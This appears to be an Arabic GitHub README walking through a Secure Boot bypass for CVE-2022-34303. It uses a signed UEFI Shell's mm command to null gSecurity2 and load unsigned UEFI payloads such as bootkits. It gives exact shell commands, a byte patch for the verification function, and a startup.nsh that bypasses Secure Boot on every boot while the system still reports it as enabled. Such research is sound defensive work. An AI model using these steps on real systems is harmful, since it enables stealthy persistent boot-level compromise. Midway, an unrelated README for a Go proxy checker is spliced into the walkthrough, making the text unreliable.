themalwareguardian/cve-2022-34303يوضح تجاوز Secure Boot الخاص بـ CVE-2022-34303 عبر UEFI Shell الموقّع من CryptoPro، باستخدام الأمر mm لإبطال gSecurity2 وتحميل تطبيقات UEFI غير الموقّعة.
CryptoPro Secure Disk UEFI Shell - Bring Your Own Vulnerable UEFI Application (BYOVUA) - تجاوز Secure Boot عبر UEFI Shell موقّع وإفساد gSecurity2.
يوضّح هذا المستودع تقنية BYOVUA (Bring Your Own Vulnerable UEFI Application) من خلال استغلال CVE-2022-34303، وهي ثغرة تجاوز Secure Boot في بيئة الإقلاع CryptoPro Secure Disk UEFI.
في هذه الحالة، المكوّن الموثوق به من قِبل Secure Boot هو shim مخصّص موقّع من قِبل Microsoft's UEFI Third Party Certificate Authority. بمجرد تنفيذه، يقوم هذا الـ shim بتحميل UEFI Shell كمرحلة ثانية، مما يتيح الأمر mm (تعديل الذاكرة) وبالتالي يوفّر قدرات قراءة وكتابة عشوائية للذاكرة خلال مرحلة الإقلاع قبل نظام التشغيل.
يمكن بعد ذلك استخدام هذه القدرة لتحديد موقع وإبطال المؤشر العام gSecurity2 في نواة DXE. ونتيجة لذلك، يتم تعطيل التحقق من صور UEFI اللاحقة، مما يسمح بتحميل تطبيقات UEFI غير الموقّعة، مثل bootkits، على الرغم من تمكين Secure Boot.
BYOVUA هو المكافئ في UEFI لتقنية BYOVD (Bring Your Own Vulnerable Driver) المستخدمة على مستوى النواة. فبدلاً من جلب برنامج تشغيل نواة موقّع يحتوي على ثغرة أمنية، يجلب المهاجم تطبيق UEFI موقّعًا - في هذه الحالة، UEFI Shell كامل - يحتوي على وظائف قادرة على تقويض Secure Boot.
ولأن التطبيق - في هذه الحالة، الـ shim المخصّص الذي يحمّل UEFI Shell كمرحلة ثانية - موقّع بشهادة موثوقة من Microsoft، فإنه يُقبل من قِبل Secure Boot دون تساؤل، مما يجعله موثوقًا على أي نظام يتضمّن هذه الشهادة في قاعدة بيانات Secure Boot الخاصة به (db) - وهو عمليًا كل حاسوب قادر على UEFI تم شحنه خلال العقد الماضي. وبمجرد تشغيله، توفّر أوامره المدمجة للمهاجم وصولاً مباشرًا إلى العتاد والذاكرة يعمل قبل تحميل نظام التشغيل، في بيئة لا توجد فيها ضوابط الأمان الحديثة (ASLR، DEP، حمايات النواة) ببساطة.
Shell_Full.efi هو UEFI Shell يتم توزيعه كجزء من CryptoPro Secure Disk، وهو منتج للمصادقة قبل الإقلاع وتشفير الأقراص.
| الخاصية | القيمة |
|---|
| الملف | Shell_Full.efi = EFI/Boot/BootX64.efi (SHIM) -> EFI/CPSD/Bootxsa.efi (Shell) |
| المورّد | CryptoPro Secure Disk |
| CVE | CVE-2022-34303 |
| التوقيع | Microsoft Corporation UEFI CA 2011 (Third Party) |
| الاكتشاف | Eclypsium (Mickey Shkatov, Jesse Michael) - أغسطس 2022 |
| العرض التقديمي | DEF CON 30 - "One Bootloader to Load Them All" |
| الإبطال | أُضيف إلى DBX عبر Microsoft KB5012170 (أغسطس 2022) |
الثغرة ليست خطأً برمجيًا - بل هي خلل في التصميم. إن UEFI Shells هي أدوات تشخيصية مشروعة لم يُقصد بها أبدًا العمل في بيئات Secure Boot. ومع ذلك، من خلال توقيعها بشهادة موثوقة من Microsoft وتوزيعها كجزء من منتجات تجارية، أنشأ المورّدون دون قصد تجاوزًا موقّعًا لـ Secure Boot.
المشكلة الجوهرية: ملف ثنائي موقّع موثوق به من قِبل Secure Boot يوفّر قدرات قراءة/كتابة غير مقيّدة للذاكرة عبر أوامره المدمجة. هذه التركيبة تكسر نموذج الثقة الكامل لـ Secure Boot.
الأمر mm (تعديل الذاكرة) هو أمر مدمج قياسي في UEFI Shell يوفّر وصولاً مباشرًا للقراءة والكتابة إلى ذاكرة النظام. وهو موثّق في UEFI Shell Specification (القسم 5.3).```
MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]
| المعامل | الوصف |
|-----------|-------------|
| `Address` | عنوان الذاكرة الهدف |
| `Value` | القيمة المراد كتابتها (تُحذف للقراءة فقط) |
| `-w` | العرض: 1 أو 2 أو 4 أو 8 بايت |
| `-MEM` | الوصول إلى ذاكرة النظام |
| `-MMIO` | الإدخال/الإخراج المعيّن للذاكرة |
| `-IO` | الوصول إلى منفذ الإدخال/الإخراج |
| `-n` | غير تفاعلي (بدون طلب للعنوان التالي) |
---
<div id='gsecurity2'/>
### ***gSecurity2 وبروتوكول البنية الأمنية***
يُفرض التحقق من صورة Secure Boot في UEFI من خلال [بروتوكولات البنية الأمنية](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols)، المعرّفة في مواصفة تهيئة منصة UEFI (PI).
يحتفظ نواة DXE (DxeMain) بمؤشر عام يُسمى [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252)، والذي يشير إلى بنية `EFI_SECURITY2_ARCH_PROTOCOL`. يحتوي هذا البروتوكول على مؤشر دالة واحد - `FileAuthenticationState` - والذي يُستدعى بواسطة `LoadImage()` في كل مرة يتم فيها تحميل صورة UEFI:```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;
// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68
عند استدعاء LoadImage()، يتحقق نواة DXE من:```c
if (gSecurity2 != NULL)
{
Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy
);
if (EFI_ERROR(Status))
{
// Image rejected - signature verification failed
}
}
من خلال تعيين `gSecurity2 = NULL`، يفشل فحص `if` ولا يتم استدعاء `FileAuthenticationState` أبدًا. يتم تخطي التحقق من الصورة بالكامل - **يبقى Secure Boot "مُمكّنًا" لكنه لم يعد مفروضًا**. يمكن بعد ذلك تحميل تطبيقات UEFI غير الموقّعة بحرية.
لفهم تقني عميق لهذه التقنية، بما في ذلك تطبيق UEFI مُصمَّم خصيصًا يحدد ويُرقّع gSecurity2 تلقائيًا، راجع المشروع المرافق: [Exploitation Technique - UEFI Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption).
---
<div id='BYOVD'/>
### ***التوازي مع Kernel BYOVD***
التوازي البنيوي بين UEFI BYOVUA و kernel BYOVD دقيق تمامًا:```
┌──────────────────────────────────────────────────────────────┐
│ UEFI BYOVUA (Secure Boot Bypass) │
│ │
│ Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned │
│ (trusted by (Security2 Protocol) UEFI apps │
│ Secure Boot) │
├──────────────────────────────────────────────────────────────┤
│ Kernel BYOVD (DSE Bypass) │
│ │
│ Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned │
│ (trusted by (CI.dll) kernel drivers │
│ DSE / CI) │
└──────────────────────────────────────────────────────────────┘
كلا الهجومين يستغلان نفس الخلل الجوهري: مكوّن موقّع تثق به آلية أمنية يوفّر البدائية اللازمة لتعطيل تلك الآلية ذاتها.
يُوضع الملف الموقّع Shell_Full.efi على قسم نظام EFI (ESP) ويُهيّأ كخيار إقلاع. ولأنه موقّع بسلسلة شهادات تثق بها Secure Boot، تتحقق منه البرمجيات الثابتة وتحمّله دون مشاكل.```
EFI System Partition (ESP)
└── EFI/
└── Boot/
| └── BootX64.efi (SHIM) ← Signed by Microsoft Windows UEFI Driver Publisher
|
└── CPSD/
└── Bootxsa.efi (Shell) ← Signed by Security Coding Factory Software CA
└── startup.nsh (Script) ← Auto-executed on shell launch
---
<div id='Phase2'/>
### ***المرحلة 2 - تعداد مقابض بروتوكول Security2***
من UEFI Shell، الهدف هو العثور على المقبض الذي يعرّض `EFI_SECURITY2_ARCH_PROTOCOL` (GUID: `94AB2F58-1438-4EF1-9152-18941A3A0E68`) والحصول على عنوان الذاكرة الخاص بواجهة البروتوكول.
> **ملاحظة:** الأمر `dh -p <GUID>` لا يحل GUIDs الخام في معظم إصدارات EDK2 Shell - فهو يتعرف فقط على أسماء البروتوكولات المسجلة. النهج أدناه يعمل على أي إصدار من EDK2 Shell.
**الخطوة 1 - العثور على مقبض SecurityStubDxe**
اسرد جميع المقابض وابحث عن `SecurityStubDxe`، وهو برنامج تشغيل DXE الذي يثبّت كلا بروتوكولي البنية الأمنية:```
Shell> dh
في المخرجات، حدد المقبض المحمّل باسم :``` 10: Image(SecurityStubDxe)
SecurityStubDxe**الخطوة 2 - فحص المقابض المجاورة**
يقوم `SecurityStubDxe` بتثبيت بروتوكولات الأمان على مقبض منفصل، عادةً الذي يليه مباشرةً. تظهر هذه المقابض فارغة في القائمة المختصرة لأن Shell لا يمكنه تعيين معرّفات GUID الخاصة بها إلى أسماء مألوفة. افحصها باستخدام الوضع المطوّل:```
Shell> dh -v 11
المخرجات المتوقعة:``` Handle 11 (3EFCEF18) A46423E3-4617-49F1-B9FF-D1BFA9115839 (3EE8C398) 94AB2F58-1438-4EF1-9152-18941A3A0E68 (3EE8C3A0)
إذا كان المقبض `0x11` لا يحتوي على هذه الـ GUIDs، جرّب `0x12` - رقم المقبض الدقيق يختلف بين إصدارات البرامج الثابتة.
**الخطوة 3 - تسجيل عنوان الواجهة**
البروتوكولان وعناوين الواجهة الخاصة بهما هما:
| GUID | البروتوكول | عنوان الواجهة |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |
**عنوان واجهة Security2** (`0x3EE8C3A0` في هذا المثال) هو القيمة المخزّنة بواسطة المؤشر العام `gSecurity2` داخل DxeMain. هذه القيمة مطلوبة للمرحلة 3.
---
<div id='Phase3'/>
### ***المرحلة 3 - تحديد موقع gSecurity2 في الذاكرة***
المتغير `gSecurity2` هو مؤشر عام داخل نواة DXE (`DxeMain`). قيمته تساوي عنوان واجهة البروتوكول الموجود في المرحلة 2. الهدف هو إيجاد عنوان الذاكرة حيث يُخزَّن هذا المؤشر - ليس قيمة المؤشر، بل المتغير نفسه.
**الخطوة 1 - الحصول على تخطيط صورة نواة DXE**```
Shell> dh -v 1
git clone https://github.com/yourusername/proxychecker.git
cd proxychecker
go build -o proxychecker
go install github.com/yourusername/proxychecker@latest
قم بتنزيل أحدث إصدار من صفحة الإصدارات.
# اختبار وكيل واحد
./proxychecker -proxy "http://127.0.0.1:8080"
# اختبار وكلاء من ملف
./proxychecker -file proxies.txt
# اختبار مع مهلة مخصصة
./proxychecker -proxy "socks5://127.0.0.1:1080" -timeout 10
# اختبار مع تزامن مخصص
./proxychecker -file proxies.txt -workers 50
الخيارات:
-proxy string
رابط وكيل واحد للاختبار
-file string
مسار الملف الذي يحتوي على قائمة الوكلاء (واحد لكل سطر)
-timeout int
مهلة الاتصال بالثواني (الافتراضي 5)
-workers int
عدد العمال المتزامنين (الافتراضي 10)
-url string
عنوان URL الهدف للاختبار (الافتراضي "https://www.google.com")
-v تمكين الإخراج المطوّل
http://127.0.0.1:8080
https://127.0.0.1:8080
socks4://127.0.0.1:1080
socks5://127.0.0.1:1080
ss://method:password@host:port
vmess://base64encodedconfig
trojan://password@host:port
./proxychecker -proxy "http://192.168.1.1:8080"
./proxychecker -proxy "socks5://192.168.1.1:1080"
./proxychecker -file proxies.txt -workers 20 -timeout 10
./proxychecker -proxy "http://127.0.0.1:8080" -url "https://httpbin.org/ip"
يجب أن يحتوي ملف الوكلاء على وكيل واحد لكل سطر:
http://127.0.0.1:8080
socks5://127.0.0.1:1080
https://user:[email protected]:3128
socks4://192.168.1.1:1080
[+] اختبار 4 وكلاء...
[✓] http://127.0.0.1:8080 - يعمل (123ms)
[✗] socks5://127.0.0.1:1080 - فشل: connection refused
[✓] https://user:[email protected]:3128 - يعمل (456ms)
[✗] socks4://192.168.1.1:1080 - فشل: timeout
النتائج:
إجمالي: 4
ناجح: 2
فاشل: 2
# استنساخ المستودع
git clone https://github.com/yourusername/proxychecker.git
cd proxychecker
# تنزيل التبعيات
go mod download
# البناء
go build -o proxychecker
# التشغيل
./proxychecker -h
# Linux
GOOS=linux GOARCH=amd64 go build -o proxychecker-linux-amd64
# macOS
GOOS=darwin GOARCH=amd64 go build -o proxychecker-darwin-amd64
# Windows
GOOS=windows GOARCH=amd64 go build -o proxychecker-windows-amd64.exe
proxychecker/
├── main.go # نقطة الدخول الرئيسية
├── checker.go # منطق فحص الوكيل
├── parser.go # تحليل رابط الوكيل
├── types.go # تعريفات الأنواع
├── go.mod # وحدة Go
├── go.sum # مجموع التحقق للوحدة
└── README.md # هذا الملف
go test ./...
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)هذا المشروع مرخص بموجب ترخيص MIT - راجع ملف LICENSE للحصول على التفاصيل.
هذه الأداة مخصصة لأغراض الاختبار الأمني والتعليمية فقط. لا تستخدمها لأي أنشطة غير قانونية. يتحمل المستخدمون المسؤولية الكاملة عن أي استخدام غير لائق.
تنبيه: استخدم هذه الأداة بمسؤولية وفقط على الوكلاء الذين تملكهم أو لديك إذن صريح لاختبارهم.``` Handle 01 (3F4ECB18) Image (3FEAFB08) File:DxeCore ImageBase.....: 3FE94000 - 3FEBB000 ImageSize.....: 27000
سجّل `ImageBase` (`0x3FE94000`).
**الخطوة 2 - تحليل ترويسات PE للعثور على قسم `.data`**
يحتوي قسم `.data` على المتغيرات العامة المهيّأة، بما في ذلك `gSecurity2`. بدلاً من فحص الصورة بأكملها بشكل أعمى، حلّل ترويسات PE للعثور على حدود `.data` الدقيقة.
اقرأ ترويسة MZ للحصول على إزاحة ترويسة PE (DWORD عند الإزاحة `0x3C`):```
Shell> dmem <ImageBase> 100
في المخرجات، انظر إلى الإزاحة 0x3C من ImageBase. على سبيل المثال، إذا كان ImageBase هو 0x3FE94000:```
3FE9403C: C0 00 00 00
هذا يعني أن توقيع PE يقع عند الإزاحة `0xC0` من `ImageBase`.
**الخطوة 3 - قراءة جدول الأقسام**
يُحسب إزاحة جدول الأقسام كما يلي:```
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader
اقرأ ترويسة COFF للحصول على SizeOfOptionalHeader (WORD عند PE_offset + 20):```
Shell> dmem <ImageBase + PE_offset> 20
بالنسبة لصورة UEFI من نوع PE32+ (x64)، يكون `SizeOfOptionalHeader` عادةً `0xF0`. في مثالنا:```
section_table = 0x3FE94000 + 0xC0 + 4 + 20 + 0xF0 = 0x3FE941C8
تفريغ جدول الأقسام (5 أقسام × 40 بايت = 200 بايت):``` Shell> dmem 3FE941C8 140
كل إدخال قسم هو 40 بايت:
| الإزاحة | الحجم | الحقل |
|--------|------|-------|
| 0 | 8 | الاسم (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |
ابحث عن إدخال القسم `.data`. مثال على المخرجات:```
3FE941F0: 2E 64 61 74 61 00 00 00 ← ".data"
3FE941F8: B0 9E 00 00 ← VirtualSize = 0x9EB0
3FE941FC: 60 AA 01 00 ← VirtualAddress (RVA) = 0x1AA60
احسب الحدود المطلقة لـ .data:```
data_start = ImageBase + VirtualAddress = 0x3FE94000 + 0x1AA60 = 0x3FEAEA60
data_end = data_start + VirtualSize = 0x3FEAEA60 + 0x9EB0 = 0x3FEB4910
**الخطوة 4 - ابحث في `.data` عن مؤشر الواجهة**
ابحث عن عنوان واجهة Security2 بترتيب البايتات little-endian ضمن نطاق `.data`. بالنسبة لعنوان واجهة بقيمة `0x3EE8C3A0`، ابحث عن:```
A0 C3 E8 3E 00 00 00 00
امسح في كتل بحجم 0x200 بايت بدءًا من data_start:```
Shell> dmem 3FEAEA60 200
Shell> dmem 3FEAEC60 200
Shell> dmem 3FEAEE60 200
...
استمر في نطاق `.data` حتى تجد تسلسل البايتات. يتم تخزين المؤشرين `gSecurity` (Security1) و `gSecurity2` (Security2) بشكل متتالٍ، لذا ابحث عن القيمتين متجاورتين:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00 ← gSecurity2 = 0x3EE8C3A0
3FEB0C10: 98 C3 E8 3E 00 00 00 00 ← gSecurity = 0x3EE8C398
نصيحة: يحتوي قسم
.dataأيضًا على بنى جدول نظام EFI (IBI SYST،DXE_SERV،BOOTSERV،RUNTSERV). عادةً ما توجد مؤشرات الأمان بعد هذه البنى. إذا لاحظت هذه التوقيعات أثناء الفحص، فواصل التقدم - أنت تقترب.
الخطوة 5 - تأكيد العنوان
تحقق من خلال قراءة الموقع الدقيق:``` Shell> dmem 3FEB0C08 10
المخرجات المتوقعة:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00-98 C3 E8 3E 00 00 00 00
العنوان 0x3FEB0C08 هو المكان الذي يتم تخزين gSecurity2 فيه - هذا هو الهدف للمرحلة 4.
بمجرد معرفة عنوان المتغير gSecurity2، يقوم أمر mm واحد بتعطيل التحقق من Secure Boot:```
Shell> mm <gSecurity2_address> 0 -w 8 -MEM
> **ملاحظة:** قد لا يقبل الأمر `mm` البادئة `0x` في وسيطة العنوان. استخدم العنوان السداسي عشري الخام مباشرة.
مثال:```
Shell> mm 3FEB0C08 0 -w 8 -MEM
يكتب هذا 8 بايتات من الأصفار إلى المؤشر gSecurity2. سيتخطى نواة DXE الآن جميع فحوصات التحقق من الصور في LoadImage().
للتحقق من التصحيح:``` Shell> dmem <gSecurity2_address> 10
يجب أن تقرأ أول 8 بايتات `00 00 00 00 00 00 00 00`:```
3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00
لاحظ أن gSecurity (Security1، الكلمة الرباعية الثانية) يبقى سليمًا - فقط Security2 يتم إبطاله، وهو أمر كافٍ لتجاوز التحقق من LoadImage().
مع إبطال gSecurity2، يمكن تحميل أي تطبيق UEFI بغض النظر عن حالة توقيعه:```
Shell> fs1:
fs1:> MyUnsignedApp.efi
أو باستخدام `load` لبرامج التشغيل:```
Shell> load fs1:\MyUnsignedDriver.efi
نظام التشغيل لم يبدأ بعد. أي تطبيق UEFI يتم تحميله في هذه المرحلة يعمل بوصول كامل إلى العتاد، قبل تهيئة أي ضوابط أمنية على مستوى نظام التشغيل.
يقوم UEFI Shell تلقائيًا بتنفيذ startup.nsh من الدليل الحالي أو جذر ESP عند كل تشغيل. من خلال ترميز تصحيح mm في هذا السكربت، يتم تنفيذ تجاوز Secure Boot تلقائيًا عند كل إقلاع:```nsh
mm <gSecurity2_address> 0 -w 8 -MEM
load fs1:\payload.efi
مثال:```nsh
mm 3FEB0C08 0 -w 8 -MEM
load fs1:\payload.efi
يستمر النظام في الإبلاغ عن Secure Boot كـ "مُفعَّل" - فقط التنفيذ في وقت التشغيل معطَّل. هذا يجعل الهجوم غير مرئي لاستعلامات حالة Secure Boot على مستوى نظام التشغيل.
مهم: عنوان
gSecurity2(0x3FEB0C08في هذا المثال) خاص ببناء البرنامج الثابت. إذا تم تحديث البرنامج الثابت أو إعادة تجميعه، يجب إعادة حساب العنوان بتكرار المرحلتين 2 و3.
العثور على عنوان gSecurity2 خاص بالبرنامج الثابت ويجب تكراره كلما تم تحديث البرنامج الثابت أو إعادة تجميعه. العملية عالية المستوى هي:```
Step 1 Step 2 Step 3
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ dh │──> │ dh -v │──> │ dh -v 1 │
│ │ │ │ │ │
│ Find │ │ Inspect adjacent │ │ Get DxeMain │
│ SecurityStubDxe │ │ handle for │ │ ImageBase and │
│ handle number │ │ Security2 GUID and │ │ ImageSize │
│ │ │ Interface address │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
│
v
Step 6 Step 5 Step 4
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ Verify: │ <──│ Nullify: │ <──│ Parse PE headers, │
│ dmem 10 │ │ mm 0 -w 8 │ │ find .data section, │
│ │ │ -MEM │ │ scan for Interface │
│ First 8 bytes │ │ │ │ address bytes in │
│ = 0x0000000000000000│ │ Secure Boot bypass │ │ little-endian │
│ │ │ active │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
---
---
---
<div id='Exploit'/>
## ***الاستغلال***
يتم توفير نهجين:
**النهج أ - تعديل FileAuthenticationState:** يستبدل أول 4 بايتات من دالة التحقق بـ `xor rax, rax; ret` (`48 31 C0 C3`)، مما يجعلها تُرجع EFI_SUCCESS دون إجراء أي فحص. يستخدم هذا النهج أوامر `dh` و`dmem` و`mm` لحل مؤشر الدالة عبر واجهة بروتوكول Security2 ولا يتطلب البحث في ذاكرة DxeMain.
**النهج ب - إبطال مؤشر gSecurity2:** يحدد موقع المتغير العام gSecurity2 داخل قسم `.data` في DxeMain ويكتب NULL فيه. هذه هي التقنية التي وصفها Eclypsium في إفصاح BombShell والمُنفَّذة برمجيًا في مستودع [gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption). يتطلب هذا النهج تحليل ترويسات PE الخاصة بـ DxeMain للعثور على حدود قسم `.data`، ثم فحص الذاكرة يدويًا باستخدام `dmem` لتحديد موقع عنوان المؤشر.
كلا السكربتين مصممان ليتم اتباعهما خطوة بخطوة، مع شرح كل أمر. شغّلهما تفاعليًا أولاً، ثم بمجرد معرفة العناوين الصحيحة للبرنامج الثابت المستهدف، أنشئ ملف `startup.nsh` للتنفيذ الآلي عند كل إقلاع.
---
---
---
<div id='LabSetup'/>
## ***إعداد المختبر***
### DBX (قاعدة بيانات التوقيعات المحظورة)
تمت إضافة الصدفة الموقّعة إلى قائمة إبطال DBX الخاصة بـ Microsoft عبر KB5012170 (أغسطس 2022). على الأنظمة المحدّثة، سترفض Secure Boot الصدفة.
بالنسبة لبيئة المختبر، تحتاج إلى نظام حيث:
- لم يتم تحديث DBX بإدخال الإبطال الخاص بهذه الصدفة تحديدًا
- أو أن DBX فارغ (جهاز افتراضي جديد بمفاتيح Secure Boot الافتراضية)
- أو تستخدم بيئة QEMU/OVMF مع تسجيل مفاتيح Secure Boot مخصصة
يوفر [QEMU UEFI Research Environment](https://github.com/TheMalwareGuardian/QEMU-UEFI-Research-Environment) إعدادًا آليًا لهذا الغرض.
### بديل: أي صدفة UEFI موقّعة تحتوي على أمر mm
التقنية ليست خاصة بـ `Shell_Full.efi`. يمكن استخدام أي UEFI Shell يعرض أمر `mm` وموقّع بشهادة موثوقة (Microsoft CA أو خاصة بالشركة المصنّعة). كما هو موثّق في بحث [BombShell](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) الخاص بـ Eclypsium (أكتوبر 2025)، تم العثور على صدفات UEFI موقّعة ذات قدرات خطيرة في منتجات عدة شركات مصنّعة، بما في ذلك حواسيب Framework المحمولة (مما يؤثر على حوالي 200,000 جهاز).
---
---
---
<div id='References'/>
## ***المراجع***
### ذات صلة مباشرة
- [Awesome Bring Your Own Vulnerable UEFI Application](https://github.com/TheMalwareGuardian/Awesome-Bring-Your-Own-Vulnerable-UEFI-Application) - مجموعة منسّقة من تطبيقات UEFI الموقّعة القابلة للاستغلال المعروفة
- [Exploitation Technique - Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) - تحليل تقني معمّق لتقنية إفساد gSecurity2، بما في ذلك تطبيق UEFI مُصمَّم خصيصًا يحدد المؤشر ويعدّله تلقائيًا
### أبحاث Eclypsium
- [SignedUEFIShell](https://github.com/HackingThings/SignedUEFIShell) - بحث حول استخدام صدفات UEFI الموقّعة للتلاعب بالذاكرة باستخدام برمجة .nsh
- [One Bootloader to Load Them All](https://eclypsium.com/research/one-bootloader-to-load-them-all/) - بحث Eclypsium الأصلي الذي أفصح عن CVE-2022-34301 وCVE-2022-34302 وCVE-2022-34303
- [DEF CON 30 - One Bootloader to Load Them All](https://www.youtube.com/watch?v=99t7wEYs8h0) - عرض Mickey Shkatov وJesse Michael
- [BombShell: The Signed Backdoor Hiding in Plain Sight](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) - بحث أكتوبر 2025 الذي يوضّح هجوم gSecurity2 عبر أمر mm على حواسيب Framework المحمولة (200 ألف جهاز متأثر)
### مواصفات UEFI
- [UEFI Shell Specification 2.2](https://uefi.org/sites/default/files/resources/UEFI_Shell_2_2.pdf) - توثيق لأمري mm وdh
- [EDK2 - gSecurity2 declaration (DxeMain.h)](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) - مرجع الكود المصدري لمؤشر gSecurity2 العام
- [UEFI PI Specification - Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) - التعريف الرسمي لبروتوكول Security2 Architectural Protocol
### التنبيهات
- [CERT/CC - VU#309662](https://kb.cert.org/vuls/id/309662)
- [NVD - CVE-2022-34303](https://nvd.nist.gov/vuln/detail/CVE-2022-34303)